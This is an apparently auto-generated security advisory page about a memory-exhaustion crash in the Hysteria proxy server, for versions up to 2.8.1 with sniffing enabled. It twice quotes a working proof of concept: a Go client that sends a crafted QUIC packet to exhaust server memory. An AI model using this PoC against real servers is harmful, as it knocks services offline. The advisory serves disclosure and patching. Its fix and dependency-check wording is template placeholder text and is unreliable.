GHSA-9fw6-xgg2-mq9q: Hysteria A Specially Constructed Quic Package Vulnerability
HIGH
Advisory Summary
GHSA-9fw6-xgg2-mq9q is a HIGH (CVSS 8.8) a specially constructed quic package vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Hysteria libraries in the Go ecosystem. The issue involves a specially constructed quic package can crash the server oom when the sniff is enabled. Remediation is available in the latest vendor maintenance releases.
GHSA-9fw6-xgg2-mq9q at a Glance
CVE Identifier
N/A
GHSA Identifier
GHSA-9fw6-xgg2-mq9q
Severity
HIGH
CVSS v3.1 Base Score
8.8
CWE Classification
CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product
Hysteria
Package Ecosystem
Go
Published Date
Last Updated
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
Low (PR:L)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
High (A:H)
How to Fix GHSA-9fw6-xgg2-mq9q
To remediate this vulnerability, upgrade all affected Hysteria dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
github.com/apernet/hysteria/core/v2
fixed: Latest secure release
Upgrade github.com/apernet/hysteria/core/v2 to Latest secure release
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/apernet/hysteria/core/v2How to Check if You Are Affected
To determine whether your application is affected by GHSA-9fw6-xgg2-mq9q, inspect your project dependencies for Hysteria:
inspect dependencies for github.com/apernet/hysteria/core/v2Analyze the terminal output to locate any version of Hysteria in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Hysteria, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
A specially constructed quic package can crash the server OOM when the sniff is enabled.
### Details
When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.
### PoC
```
openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null
```
server.yaml
```
listen: :8443
tls:
cert: localhost.crt
key: localhost.key
auth:
type: password
password: mypassword
sniff:
enable: true
outbounds:
- name: my_direct
type: direct
default: true
```
poc.go
```
package main
import (
"flag"
"fmt"
"log"
"net"
"time"
"github.com/apernet/hysteria/core/v2/client"
)
func main() {
serverAddrStr := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
password := flag.String("password", "mypassword", "Hysteria server password")
flag.Parse()
serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr)
c, _, err := client.NewClient(&client.Config{
ServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},
})
if err != nil {
log.Fatalf("Failed to connect: %v", err)
}
defer c.Close()
var maliciousQUICPacket = []byte{
0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,
0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,
0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,
0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,
0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,
}
udpConn, err := c.UDP()
if err != nil {
fmt.Printf("[-] UDP error: %v\n", err)
}
targetAddr := fmt.Sprintf("8.8.8.8:443")
fmt.Printf("[*] Sending 'death' packet to %s...\n", targetAddr)
_ = udpConn.Send(maliciousQUICPacket, targetAddr)
// Wait longer to ensure packet delivery
time.Sleep(3 * time.Second)
fmt.Printf("[+] Done.\n")
}
```
### Impact
When sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).
GHSA-9fw6-xgg2-mq9q Affected Hysteria Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/apernet/hysteria/core/v2
|
Go |
≤ 2.8.1
|
|
References
Frequently Asked Questions
What is GHSA-9fw6-xgg2-mq9q?
GHSA-9fw6-xgg2-mq9q is a security vulnerability in Hysteria involving A specially constructed quic package can crash the server OOM when the sniff is enabled under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Hysteria versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/apernet/hysteria/core/v2.
What version fixes GHSA-9fw6-xgg2-mq9q?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/apernet/hysteria/core/v2 affected?
Yes, github.com/apernet/hysteria/core/v2 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-9fw6-xgg2-mq9q?
GHSA-9fw6-xgg2-mq9q has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-9fw6-xgg2-mq9q?
GHSA-9fw6-xgg2-mq9q is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for GHSA-9fw6-xgg2-mq9q?
Run the dependency tree command: 'inspect dependencies for github.com/apernet/hysteria/core/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-9fw6-xgg2-mq9q",
"modified" : "2026-05-05T21:14:22Z",
"published" : "2026-05-05T21:14:22Z",
"aliases" : [ ],
"summary" : "Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled",
"details" : "### Summary\n\nA specially constructed quic package can crash the server OOM when the sniff is enabled.\n\n### Details\n\nWhen the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.\n\n\n### PoC\n```\nopenssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj \"/CN=localhost\" 2>/dev/null\n```\n\nserver.yaml\n```\nlisten: :8443\ntls:\n cert: localhost.crt\n key: localhost.key\nauth:\n type: password\n password: mypassword\nsniff:\n enable: true\noutbounds:\n - name: my_direct\n type: direct\n default: true\n```\n\npoc.go\n\n```\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"time\"\n\n\t\"github.com/apernet/hysteria/core/v2/client\"\n)\n\nfunc main() {\n\tserverAddrStr := flag.String(\"server\", \"127.0.0.1:8443\", \"Hysteria server address\")\n\tpassword := flag.String(\"password\", \"mypassword\", \"Hysteria server password\")\n\tflag.Parse()\n\n\tserverAddr, _ := net.ResolveUDPAddr(\"udp\", *serverAddrStr)\n\tc, _, err := client.NewClient(&client.Config{\n\t\tServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},\n\t})\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to connect: %v\", err)\n\t}\n\tdefer c.Close()\n \n\tvar maliciousQUICPacket = []byte{ \n\t\t0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0, \n\t\t0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66, \n\t\t0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70, \n\t\t0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65, \n\t\t0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2, \n\t} \n\n\tudpConn, err := c.UDP()\n\tif err != nil {\n\t\tfmt.Printf(\"[-] UDP error: %v\\n\", err)\n\t}\n\ttargetAddr := fmt.Sprintf(\"8.8.8.8:443\")\n\tfmt.Printf(\"[*] Sending 'death' packet to %s...\\n\", targetAddr)\n\t_ = udpConn.Send(maliciousQUICPacket, targetAddr)\n\n\t// Wait longer to ensure packet delivery\n\ttime.Sleep(3 * time.Second)\n\tfmt.Printf(\"[+] Done.\\n\")\n}\n```\n\n\n### Impact\nWhen sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/apernet/hysteria/core/v2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.8.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/apernet/hysteria/security/advisories/GHSA-9fw6-xgg2-mq9q"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/apernet/hysteria"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-05T21:14:22Z",
"nvd_published_at" : null
}
}